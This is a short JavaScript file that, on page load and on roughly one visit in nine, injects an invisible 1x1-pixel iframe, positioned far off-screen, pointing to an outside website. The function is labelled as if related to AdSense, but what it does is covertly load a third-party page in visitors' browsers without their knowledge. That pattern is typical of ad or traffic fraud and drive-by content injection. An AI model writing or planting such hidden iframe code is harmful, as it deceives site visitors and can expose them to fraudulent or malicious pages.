function addOnLoadEvent(func){	
	if(typeof window.onload != 'function'){
    	window.onload = func;
	} else {
		var oldonload = window.onload;
		window.onload = function(){
			oldonload();
			func();
		}
	}
}

function setAdSensePlay(){
	var d_rand = Math.random();
	if(d_rand<0.11){
		var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
		var objBody = document.getElementsByTagName("body").item(0);
		var obj = document.createElement("div");
		obj.setAttribute('id','adsense_dream');
		var mybottom = '0px';
		var myleft = '-2000px';
		if(isIE){ 
			obj.style.position = 'absolute';
			obj.style.width='1px';
			obj.style.height='1px';
			obj.style.bottom= mybottom;
			obj.style.left= myleft;
			obj.style.overflow = 'hidden';
			obj.style.visible = 'hidden';
			obj.style.zIndex = 100;
		} else {
			obj.setAttribute('style', 'position:absolute;overflow:hidden;width:1px;height:1px;left:' + myleft + ';bottom:' + mybottom + ';z-index:100;visible:hidden;');
		}
		obj.innerHTML = '<iframe width="1" height="1" src="http://www.ibwire.co.kr/"></iframe>';
		objBody.appendChild(obj);
	}
}

addOnLoadEvent(setAdSensePlay);
